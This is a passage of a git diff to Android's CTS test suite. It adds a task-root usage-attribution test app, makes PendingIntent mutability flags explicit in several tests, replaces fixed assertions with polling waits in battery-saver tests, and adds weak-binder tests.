                         "Constructor annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -80,6 +100,7 @@
         }
         for (Set<Method> set : annotatedMethodsMap.values()) {
             for (Method m : set) {
+                if (filter != null && filter.skip(m)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, m.toString(),
                         "Method annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -87,6 +108,7 @@
         }
         for (Set<Field> set : annotatedFieldsMap.values()) {
             for (Field f : set) {
+                if (filter != null && filter.skip(f)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_FIELD, f.toString(),
                         "Field annotated with " + annotationSpec
                                 + " does not exist in the API");
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 90dada9..a981be7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -38,7 +38,7 @@
     protected AnnotationChecker createChecker(ResultObserver resultObserver,
             ClassProvider provider) {
         return new AnnotationChecker(resultObserver, provider,
-                "@android.signature.cts.tests.data.ApiAnnotation()");
+                "@android.signature.cts.tests.data.ApiAnnotation()", null);
     }
 
     private static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 3d0635b..28d7bcf 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -28,7 +28,7 @@
         "android.test.base",
         "android.test.runner",
     ],
-    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl"],
+    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl", "TestApp2/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 7585059..26b799d 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -25,6 +25,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
         <option name="test-file-name" value="CtsUsageStatsTestApp1.apk" />
+        <option name="test-file-name" value="CtsUsageStatsTestApp2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.usage.cts" />
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
new file mode 100644
index 0000000..6cfdb68
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUsageStatsTestApp2",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-wm-util",
+        "junit",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts"
+    ],
+    sdk_version: "test_current"
+}
diff --git a/tests/tests/app.usage/TestApp2/AndroidManifest.xml b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
new file mode 100644
index 0000000..49a50fc
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.usage.cts.test2">
+
+    <application>
+        <activity android:name=".FinishingTaskRootActivity"
+                  android:exported="true"
+        />
+    </application>
+</manifest>
diff --git a/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
new file mode 100644
index 0000000..bea621c
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.app.usage.cts.test2;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A test activity that starts another activity within the same task and then finishes itself.
+ */
+public class FinishingTaskRootActivity extends Activity  {
+    public static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+    public static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+    private UiDevice mUiDevice;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        startActivity(new Intent().setClassName(TEST_APP_PKG, TEST_APP_CLASS));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        finish();
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
                         new Intent(this, Activities.ActivityOne.class)
                                 .setAction(Intent.ACTION_MAIN)
                                 .addCategory(Intent.CATEGORY_LAUNCHER)
-                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
                 .setOngoing(true)
                 .build();
         startForeground(1, status);
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 92e351a..aa25160 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -33,7 +33,6 @@
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
-import android.app.usage.cts.ITestReceiver;
 import android.app.usage.EventStats;
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageEvents.Event;
@@ -117,6 +116,9 @@
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
     private static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
+    private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
+    private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
+            "android.app.usage.cts.test2.FinishingTaskRootActivity";
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -575,7 +577,7 @@
                         .setContentTitle("My notification")
                         .setContentText("Hello World!");
         final PendingIntent pi = PendingIntent.getActivity(mContext, 1,
-                new Intent(Settings.ACTION_SETTINGS), 0);
+                new Intent(Settings.ACTION_SETTINGS), PendingIntent.FLAG_IMMUTABLE);
         mBuilder.setContentIntent(pi);
         mNotificationManager.notify(1, mBuilder.build());
         Thread.sleep(500);
@@ -1285,14 +1287,36 @@
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_CURRENT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to the test app package
-        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true);
+        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true, TIMEOUT);
 
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
 
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to this package
-        assertAppOrTokenUsed(mTargetPackage, true);
+        assertAppOrTokenUsed(mTargetPackage, true, TIMEOUT);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testTaskRootAttribution_finishingTaskRoot() throws Exception {
+        setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        launchTestActivity(TEST_APP2_PKG, TEST_APP2_CLASS_FINISHING_TASK_ROOT);
+        // Wait until the nested activity gets started
+        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should be attributed to the task root app package
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, true, TIMEOUT);
+        SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
+        mUiDevice.wait(Until.gone(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should no longer be tracked
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, false, TIMEOUT);
     }
 
     @AppModeInstant
@@ -1445,20 +1469,21 @@
 
     /**
      * Assert on an app or token's usage state.
+     *
      * @param entity name of the app or token
      * @param expected expected usage state, true for in use, false for not in use
      */
-    private void assertAppOrTokenUsed(String entity, boolean expected) throws IOException {
-        final String activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
-        final String[] actives = activeUsages.split("\n");
-        boolean found = false;
+    private void assertAppOrTokenUsed(String entity, boolean expected, long timeout)
+            throws IOException {
+        final long realtimeTimeout = SystemClock.elapsedRealtime() + timeout;
+        String activeUsages;
+        boolean found;
+        do {
+            activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
+            final String[] actives = activeUsages.split("\n");
+            found = Arrays.asList(actives).contains(entity);
+        } while (found != expected && SystemClock.elapsedRealtime() <= realtimeTimeout);
 
-        for (String active : actives) {
-            if (active.equals(entity)) {
-                found = true;
-                break;
-            }
-        }
         if (expected) {
             assertTrue(entity + " not found in list of active activities and tokens\n"
                     + activeUsages, found);
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..e1c1ba2 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
@@ -64,7 +64,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index cfd12a2..2123757 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -588,7 +588,7 @@
                 new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
                         new ComponentName(targetPackageName,
                                 "android.appenumeration.cts.query.TestActivity")),
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
                 pendingIntent /*queryIntent*/, Constants.ACTION_START_SENDER_FOR_RESULT);
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="1">
+  <uses-sdk android:targetSdkVersion="28" />
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution2" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution3" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution4" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution5" android:label="@string/dummyLabel" />
 
-  <application />
+  <application android:debuggable="true"/>
 
 </manifest>
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="2">
+  <uses-sdk android:targetSdkVersion="29"/>
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution6" android:label="@string/dummyLabel">
     <inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index 44e4c05..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -178,13 +178,15 @@
 }
 
 /**
- * Run a block with a compat change disabled
+ * Run a block with a compat change enabled
  */
-fun withDisabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
-    runCommand("am compat disable $changeId $packageName")
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+    runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+    runCommand("am compat enable $changeId $packageName")
     try {
         wrapped()
     } finally {
         runCommand("am compat reset $changeId $packageName")
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
     }
 }
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 33ccf9a..8aba608 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -108,14 +108,14 @@
 
     @Test(expected = SecurityException::class)
     fun cannotUseUndeclaredAttributionTag() {
-        noteForAttribution("invalid attribution tag")
+        withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+            noteForAttribution("invalid attribution tag")
+        }
     }
 
     @Test
     fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
-        withDisabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
-            noteForAttribution("invalid attribution tag")
-        }
+        noteForAttribution("invalid attribution tag")
     }
 
     @Test(expected = AssertionError::class)
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
         extras.putString("dummy", launcherPkg + "-dummy");
 
         PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
-                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         AppWidgetManager.getInstance(context).requestPinAppWidget(
                 getFirstWidgetComponent(), extras, pinResult);
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
         // Push update
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getBroadcast(mActivity, 0,
-                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -165,7 +165,7 @@
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getActivity(mActivity, 0,
                         new Intent(mActivity, TransitionActivity.class),
-                        PendingIntent.FLAG_UPDATE_CURRENT)));
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -229,7 +229,7 @@
         views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
         views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
-                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
 
         // Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
         // to create unique before on an item to item basis.
         Intent viewIntent = new Intent(BROADCAST_ACTION);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
 
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
             final boolean allowWhileIdle = req.getAllowWhileIdle();
 
             final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
-                    new Intent(req.getIntentAction()), 0);
+                    new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
                     + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 960b034..2b35684 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -94,7 +94,9 @@
     }
 
     @Test
-    public void testSetBatterySaver_powerManager() {
+    public void testSetBatterySaver_powerManager() throws Exception {
+        enableBatterySaver(false);
+
         runWithShellPermissionIdentity(() -> {
             PowerManager manager = BatteryUtils.getPowerManager();
             assertFalse(manager.isPowerSaveMode());
@@ -137,8 +139,11 @@
             enableBatterySaver(true);
 
             assertTrue(powerManager.isPowerSaveMode());
-            assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
-                    powerManager.getLocationPowerSaveMode());
+            // Updating based on the settings change may take some time.
+            waitUntil("Location mode didn't change to "
+                            + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
+                    () -> PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF ==
+                            powerManager.getLocationPowerSaveMode());
             // UI change can take a while to propagate, so need to wait for this check.
             waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                     () -> Configuration.UI_MODE_NIGHT_YES ==
@@ -155,6 +160,7 @@
                     () -> Configuration.UI_MODE_NIGHT_NO ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
             assertTrue("Location power save mode didn't change from " + locationPowerSaveMode,
                     locationPowerSaveMode == PowerManager.LOCATION_MODE_FOREGROUND_ONLY
@@ -170,6 +176,7 @@
                     () -> Configuration.UI_MODE_NIGHT_YES ==
                             (getContext().getResources().getConfiguration().uiMode
                                     & Configuration.UI_MODE_NIGHT_MASK));
+            // Check location mode after we know battery saver changes have propagated fully.
             assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
                     powerManager.getLocationPowerSaveMode());
         } finally {
@@ -192,8 +199,11 @@
                 "location_mode=" + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF
                         + ",enable_night_mode=true");
         assertTrue(powerManager.isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+        // Updating based on the settings change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
         // UI change can take a while to propagate, so need to wait for this check.
         waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                 () -> Configuration.UI_MODE_NIGHT_YES ==
@@ -212,8 +222,11 @@
         mDeviceConfigStateHelper.set("enable_night_mode", "true");
 
         assertTrue(powerManager.isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+        // Updating based on DeviceConfig change may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
         // UI change can take a while to propagate, so need to wait for this check.
         waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                 () -> Configuration.UI_MODE_NIGHT_YES ==
@@ -232,8 +245,11 @@
         mDeviceConfigStateHelper.set("enable_night_mode", "true");
 
         assertTrue(powerManager.isPowerSaveMode());
-        assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
         // UI change can take a while to propagate, so need to wait for this check.
         waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                 () -> Configuration.UI_MODE_NIGHT_YES ==
@@ -247,16 +263,20 @@
                 () -> Configuration.UI_MODE_NIGHT_NO ==
                         (getContext().getResources().getConfiguration().uiMode
                                 & Configuration.UI_MODE_NIGHT_MASK));
-        final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
-        assertEquals("Location power save mode didn't change from " + locationPowerSaveMode,
-                PowerManager.LOCATION_MODE_FOREGROUND_ONLY, locationPowerSaveMode);
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to " + PowerManager.LOCATION_MODE_FOREGROUND_ONLY,
+                () -> PowerManager.LOCATION_MODE_FOREGROUND_ONLY ==
+                        powerManager.getLocationPowerSaveMode());
 
         SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
         waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
                 () -> Configuration.UI_MODE_NIGHT_YES ==
                         (getContext().getResources().getConfiguration().uiMode
                                 & Configuration.UI_MODE_NIGHT_MASK));
-        assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
-                powerManager.getLocationPowerSaveMode());
+        // Updating constants may take some time.
+        waitUntil("Location mode didn't change to "
+                        + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+                () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+                        powerManager.getLocationPowerSaveMode());
     }
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index ae7e435..6222518 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -456,7 +456,8 @@
       const ::aidl::test_package::ExtendableParcelable& in_input,
       ::aidl::test_package::ExtendableParcelable* out_output) {
     RepeatExtendableParcelableWithoutExtension(in_input, out_output);
-    std::unique_ptr<MyExt> ext = in_input.ext.getParcelable<MyExt>();
+    std::optional<MyExt> ext;
+    in_input.ext.getParcelable(&ext);
     MyExt ext2;
     ext2.a = ext->a;
     ext2.b = ext->b;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index fab478e..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -139,6 +139,92 @@
 
   AIBinder* promoted = AIBinder_Weak_promote(weak);
   EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder* promoted = AIBinder_Weak_promote(copy);
+  EXPECT_EQ(binder, promoted);
+
